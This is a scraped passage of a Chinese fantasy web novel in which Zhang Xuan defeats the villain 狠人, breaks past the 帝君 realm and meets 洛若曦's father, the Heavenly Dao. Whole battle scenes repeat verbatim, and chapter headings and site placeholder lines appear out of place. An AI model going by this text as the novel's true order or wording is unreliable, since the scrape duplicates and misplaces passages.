难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第182章 自找没趣的千金贵女 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第183章 找存在感?找死! 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 